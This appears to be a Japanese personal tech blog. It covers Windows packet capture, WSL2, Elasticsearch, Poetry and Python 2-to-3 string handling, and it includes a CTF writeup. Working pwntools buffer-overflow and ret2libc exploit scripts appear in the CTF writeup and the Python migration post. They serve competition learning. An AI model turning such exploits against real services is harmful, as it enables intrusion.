windowsでデフォルトのツールだけで頑張ってパケットキャプチャをする
ちょっと仕事でwindowsサーバーで動く商用のシステムからhttpsのクエリストリングとか調べてよ!って言われてどーすんのよこれって思って調べながらやってみたので、メモレベルで残す
前提条件
- powershellが動かせる環境があること
- windowsサーバ自体には管理者権限でアクセスできること
パケットキャプチャ
netshコマンドを使う - 開始
netsh trace start capture=yes
- 終了
netsh trace stop
コマンドそれぞれで結構時間がかかる
デフォルトだと以下のパスに出来上がる。
C:\Users\<ユーザー名>\AppData\Local\Temp\NetTraces\NetTrace.etl
pcapに変換
github上とかにも結構ある。自分はこれを使ってpowershellで変換した。
tsharkで確認
wireshearkがGUIで使える環境があればいいが、tsharkならGUIで確認することができる。
tshark -r <filename>
でパケットを確認することができる。
Beginners CTF 2020のwriteupを書く
最近CTF出てないなーと思ったので、久しぶりにBeginners CTF 2020に参加したので、writeupを書くことにした。 ちなみに、結果は507点で184位でした。Webを触りきらなかった。
pwn
Beginner's Stack
実行させると、アドレス位置が表示されてあからさまにwin関数に飛ばすように出てくる。いかにもその通りにbofを実行させればよいように見えるが、rspが0x10の倍数でないとダメになっている。が、先頭のpushで8バイトズレてしまうため、弾かれてしまう。ropを挟むのが本来の回答と思われるが、面倒だったので以下のスクリプトでダイレクトに0x4008B8に飛ばしてしまった。
from pwn import * HOST = "bs.quals.beginners.seccon.jp" PORT = 9001 # remote execute conn = remote(HOST, PORT) payload = b'' payload += b'a' * 40 payload += p64(0x4008B8) print(payload) conn.recvuntil('Input:') conn.sendline(payload) conn.interactive()
bin/sh
が勝手に起動するため、後はいつも通りに
Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
binary
R&B
problem.pyを見るとR
とB
でrot13とbase64decodeを繰り返している。
スクリプト書いて逆変換かけたら出てきた。
import base64 import codecs data = "" with open("encoded_flag", "r") as f: data = f.read() roop = True while roop: roop = False if data[0] == "B": data = base64.b64decode(data[1:].encode('utf-8')).decode('utf-8') roop = True if data[0] == "R": data = codecs.decode(data[1:], 'rot13') roop = True print(data)
ctf4b{rot_base_rot_base_rot_base_base}
Reversing
mask
IDAを見ていると文字列に対してそれぞれ2つのANDをかけて以下のように比較していることがわかる
- 0x75でANDを取り、
atd4 `qdedtUpetepqeUdaaeUeaqau
と一致する - 0xEBでANDを取り、
c`b bk`kj`KbababcaKbacaKiacki
と一致する
ということは以下の通りにすると復元できる
>>> a = 'atd4`qdedtUpetepqeUdaaeUeaqau' >>> b = 'c`b bk`kj`KbababcaKbacaKiacki' >>> s = '' >>> for i in range(len(a)): ... s += chr(ord(a[i]) | ord(b[i])) >>> print(s) ctf4b{dont_reverse_face_mask}
yakisoba
IDAでどうしようかと思って眺めていたらたまたま}
でretしている箇所があった。もしかしたらこれ辿っていけそうとか思ったので、レジスタを参照しているであろう箇所をすべて辿る超力業を実行した。angrとか使おうよ・・・
ctf4b{sp4gh3tt1_r1pp3r1n0}
Misc
emoemoencode
絵文字が出てくる
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
これらの文字の下2ケタがasciiの文字コードと対応しているため、対応を見ていけばよい。
ctf4b{stegan0graphy_by_em000000ji}
WSL2に切り替えてみた
Windows 10 2004 May 2020がリリースされた。個人的に一番大きいのはWSL2がついに使えるようになったことなので、早速既存のWSL環境を更新してインストールしてみた。 https://docs.microsoft.com/ja-jp/windows/wsl/install-win10
既存のWSLをWSL2に更新する。
- 今の状態を確認する
PS C:\Users\user> wsl -l -v NAME STATE VERSION * Ubuntu-18.04 Running 1
- 対象としたいディストリビューションに対して以下のコマンドを打って更新する
wsl --set-version Ubuntu18.04 2
しばらく時間がかかるが、これで変換が完了する。
apt-getの謎
https://github.com/microsoft/WSL/issues/5334
上記のissueにある通り、なぜかapt-get
でTemporary failure resolving
が乱発して失敗する。
とりあえずは 起動時にresolv.conf
の設定を変更して対応ができるが、何とかならんものかなぁと思う。
- やり方その1
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf
- やり方その2
sudo su sudo echo "nameserver 8.8.8.8" >> /etc/resolv.conf
elasticsearchとkibanaを手元の環境で立ててみた
elasticsearchとkibanaを手元の環境で立ててみた
最近elasticsearchとkibanaを触る機会がかなり増えたので、手元で検証する環境が欲しいなーと思ったので作ってみた
環境
- windows10
- docker 19.03.8
- docker compose :
- elasticseach, kibana : 7.5.2
docker composeの準備
参照 複数のコンテナをまとめてアプリケーションとして定義するためのツール。今回はこれにelasticsearchとkibanaをまとめて作成する
Invoke-WebRequest "https://github.com/docker/compose/releases/download/1.25.5/docker-compose-Windows-x86_64.exe" -UseBasicParsing -OutFile $Env:ProgramFiles\docker\docker-compose.exe
PS D:\hoge\es-compose> docker-compose version docker-compose version 1.25.4, build 8d51620a docker-py version: 4.1.0 CPython version: 3.7.4 OpenSSL version: OpenSSL 1.1.1c 28 May 2019
実行する
compose.yamlを配下で実行する
docker-compose up -d
ちゃんと立ち上がればコンテナが2つ立ち上がる。
注意
初回起動時にesとkibanaが同時に立ち上がらない場合、connection情報が残ったりして接続に失敗することがあるので永続化した情報を削除するといった対応が必要となる
compose.yaml
ファイル
version: "3.7" services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:7.5.2 environment: - discovery.type=single-node - cluster.name=docker-cluster - bootstrap.memory_lock=true - "ES_JAVA_OPTS=-Xms1g -Xmx1g" ulimits: memlock: soft: -1 hard: -1 ports: - 9200:9200 volumes: - D:\elasticsearch\data:/usr/share/elasticsearch/data kibana: image: docker.elastic.co/kibana/kibana:7.5.2 ports: - 5601:5601 volumes: - D:\elasticsearch\kibana\kibana.yml :/usr/share/kibana/config/kibana.yml
参考
https://docs.docker.com/compose/compose-file/
https://www.elastic.co/guide/en/elasticsearch/reference/7.5/docker.html
https://www.elastic.co/guide/en/kibana/7.5/docker.html#docker
poetryの概要を書いてみた
Poetryとは
Pythonのパッケージ管理ツールの1つ。他の有名どころだとpipenvとかpyflowとか。
ドキュメントは以下にあります。
https://python-poetry.org/
久々に見たら公式サイトが超かっこよくなってる
特徴
pyproject.toml
やpoetry.lock
のファイル2つだけで管理ができるので、かなりシンプル- 依存関係周りの解決がpipenvよりも強力かつ高速(個人的にはそう思ってるが、客観的なデータ無いのが気になる)
- コマンドがシンプル
実際に導入してみる
非常に簡単で、以下のコマンド一発で導入できる。 特に指定しなければ以下の通りhomeフォルダの配下に出来上がる。
user@hostname:/mnt/c/Users/user$ curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python Retrieving Poetry metadata # Welcome to Poetry! This will download and install the latest version of Poetry, a dependency and package manager for Python. It will add the `poetry` command to Poetry's bin directory, located at: $HOME/.poetry/bin This path will then be added to your `PATH` environment variable by modifying the profile file located at: $HOME/.profile You can uninstall at any time by executing this script with the --uninstall option, and these changes will be reverted. Installing version: 1.0.5 - Downloading poetry-1.0.5-linux.tar.gz (23.37MB) Poetry (1.0.5) is installed now. Great! To get started you need Poetry's bin directory ($HOME/.poetry/bin) in your `PATH` environment variable. Next time you log in this will be done automatically. To configure your current shell run `source $HOME/.poetry/env`
インストール後に再ログオンすると自動で設定されるが、すぐに使いたい場合は以下の設定をするとよい
user@hostname:~$ . ./bash_profile
ただし、デフォルトの設定だとvenvを開発環境ではなく個人の環境に作ってしまう 導入時に以下のコマンドでvenvの作成場所を各プロジェクト単位に作ったほうが楽と思われる
user@hostname:~$ poetry config --list cache-dir = "/mnt/c/Users/user/linux_home/.cache/pypoetry" virtualenvs.create = true virtualenvs.in-project = false virtualenvs.path = "{cache-dir}/virtualenvs" # /mnt/c/Users/user/linux_home/.cache/pypoetry/virtualenvs user@hostname:~$ poetry config virtualenvs.in-project true
プロキシ環境や非接続環境での導入
推奨となるインストールスクリプトはproxyを通さない通信を行うため、以下のいずれかの対応が必要となる
- プロキシサーバーがある場合pip経由でインストールするpip install poetry --proxy https://hogehoge
- tarファイルと直接持ち込んで展開する
基本的な使い方
基本的には以下のコマンドが扱えれば、おおよそ扱うことができる。
新規にpyproject.toml
を作成する
poetry init
基本的には聞かれるままに進めていくとよい。
パッケージを追加する
poetry add hogehoge
開発環境のみに導入する場合は以下のコマンドで対応できる。
poetry add hogehoge --dev
パッケージを削除する
poetry remove hogehoge
pyproject.toml
からvenvを作成する
poetry install
開発環境用のパッケージを含めないようにするには以下を使える
poetry install --no-dev
poetryの環境で実行する
poetry run hogehoge.py
覚えると便利そう
複数のプロジェクトを一つの環境で管理する
複数のプロジェクトで使用する環境を一つで管理し複数建てたいといった要望がある場合、以下のような対応ができる
ちゃんと分けろよ!という突っ込みが出るかもだけど・・・
- 分ける必要があるものをoptionalでインストール
poetry add elasticsearch --optional poetry add elasticsearch-dsl --optional
[tool.poetry.extras]
を追記し、名前と必要なモジュールを定義(※[tool.poetry.dependencies]
のすぐ下に作らないと動かなそう)
[tool.poetry] name = "test" version = "0.1.0" description = "" authors = ["Your Name <you@example.com>"] [tool.poetry.dependencies] python = "^3.6" elasticsearch = {version = "^7.6.0", optional = true} elasticsearch-dsl = {version = "^7.1.0", optional = true} [tool.poetry.extras] es = ["elasticsearch"] es-dsl = ["elasticsearch-dsl"] [tool.poetry.dev-dependencies] [build-system] requires = ["poetry>=0.12"] build-backend = "poetry.masonry.api"
上記の定義だとpoetry install -E es-dsl
でelasticsearch-dsl
のみが入ったモジュールが構成できる
requirements
を出力する
諸事情でrequirementsを出力させたい場合は、以下のコマンドで出力できる。
poetry export -f requirements.txt > requirements.txt
使ってて気になった点
更新が圧倒的に早い
比較的頻繁に改良されていることもあり、環境にpoetryを導入するようなコンテナを立てると気づいたらバージョンが変わってたりする。poetry起因で落ちることもあるので、安定的に動かすにはバージョン指定を推奨。(configの設定箇所が突如変更になりdockerfileでコケた経験有)
依存関係の解決状態がわからなくなることがある
通信が不安定な環境で、install
やadd
で妙に時間がかかっている場合は-v
オプションで実行ログを表示させるとよい。依存関係の誤りで無限ループしていたりすることがある(pyprojectを直で編集しているとたまに起こる)。
python2系から3系への移行で困ったstrの話
この記事は、品川 Advent Calender 2019の記事です。
2系で動くものはまだまだ多いですがpython2系のサポートが2020/1/1までと、終了まであと1週間を切ってます。
結局2019/4/1まで延びるらしいですね。参考ページ
とはいえ、残りが3か月程度ということもあり、最近結構な頻度でpython3への変換をやったりすることがあるのですが、オブジェクトの扱いを変化をあまり理解しておらず、
変換した後に想定通りの動作をせずハマってしまったことが何度かあったため初心者向けの話には近いところですが、記事を書いてみることにしました。
個人的に言いたいこと
- 2to3で変換した後は実際のソースコードをちゃんと見よう
やったこと
自宅のCTF用に使用しているVM環境とソースコード類を2to3を使って変換していこうと思っていた。
試しに以前CSAW CTF予選に出場した際に書いた以下のソースに適用した。
baby_boy.py
from pwn import * import time HOST = "pwn.chal.csaw.io" PORT = xxx # dummy conn = remote(HOST, PORT) conn.recvuntil('Hello!\n') recieve_address = conn.recvline().strip().split() # recieve binary printf_address = int(recieve_address[3],16) printf_offset = 0x64e80 libc_base = printf_address - printf_offset one_gadget = 0x4f322 payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes conn.sendline(payload) # send_binary conn.interactive()
変換した実行ログは以下のようになる。
$ 2to3 baby_boi.py RefactoringTool: Skipping optional fixer: buffer RefactoringTool: Skipping optional fixer: idioms RefactoringTool: Skipping optional fixer: set_literal RefactoringTool: Skipping optional fixer: ws_comma RefactoringTool: No changes to baby_boi.py RefactoringTool: Files that need to be modified: RefactoringTool: baby_boi.py
要するに修正する箇所は無いらしい。
ただし、これをpython3で動かすと以下の通りにエラーが出て実行できない。※1
Traceback (most recent call last): File "baby.py", line 16, in <module> payload = ('A'* 40) + p64(libc_base + one_gadget) # str + bytes TypeError: must be str, not bytes
何が起こっているか
エラーログを見ての通り、 strとbytesで型が違うと怒られている。この変化は以下のような違いが関連している。
python2
python2では文字列を扱うにあたりstrとunicodeの2つのタイプがある。
- python2のstrではバイト列であり文字コードに関する情報を持っていない。
- unicodeとして扱うためにはunicode型(
u'...'
)を使用して明示的に指定する必要がある。
unicodeとstrの行き来をする際にはdecode,encodeメソッドが必須。
実行例
>>> type(u'abc') <type 'unicode'> >>> type('abc') <type 'str'> >>> type(b'abc') <type 'str'>
python3
一方で、python3の場合は以下のような特徴を持つ
- strはデフォルトでunicode文字列として扱う
- バイナリデータを扱うためにはbytes型(
b'...'
)を使用して明示的に指定する必要がある。 strとbytesの行き来をする際にはdecode,encodeメソッドが必須。
実行例
>>> type(b'abc') <class 'bytes'> >>> type('abc') <class 'str'> >>> type(u'abc') <class 'str'>
そのため、python2系ではbytes同士の以下のような比較が成立してしまう。
>>> b'abc' == 'abc' True
一方で、python3の場合はbytesとstrで型が異なるため以下のようになる。
>>> b'abc' == 'abc' False
ざっくりまとめると以下のように扱うとよい
扱う文字列 | python2 | python3 |
---|---|---|
byte | str | bytes |
str(unicode以外) | str | str |
str(unicode) | unicode | str |
2系から3系への移行時に注意すべきこと
この扱いの変化は非常に厄介(個人的に2系から3系への変換で一番面倒だと思っている)と考えるのは、以下のような特徴があるからです。
- コードの静的チェックや2to3等の変換ツールでの発見が基本的には不可能
- 比較に至ってはTrue/Falseが変化するだけで処理によってはエラーすら出力されないこともあるため、別のところでバグが起きて気づくケースがほとんどである
結局文字コードの扱いについては機械が見て判断できるものではないからツールで変換することは難しく、 最終的には人の目で見て解決するしかないのでしょうね。
余談
- 1週間後に別の環境で2to3を使って移植した時にはpytestが想定通りに通らず、これが原因だということに気づくまで半日くらい頭を抱えていた。
- 自分の持っているpython2コードは結局ほとんどやらなかった
始めてみた
最終日だけ空いていた品川アドベントカレンダーに飛び入り参加することになったので、 せっかく書くなら自分でも簡単なブログをはじめてみようと思って、登録してみました。 今月初めには作ろうと思ってたら、仕事が忙しすぎてなんと開設が3日前という超ギリギリになっちゃいました。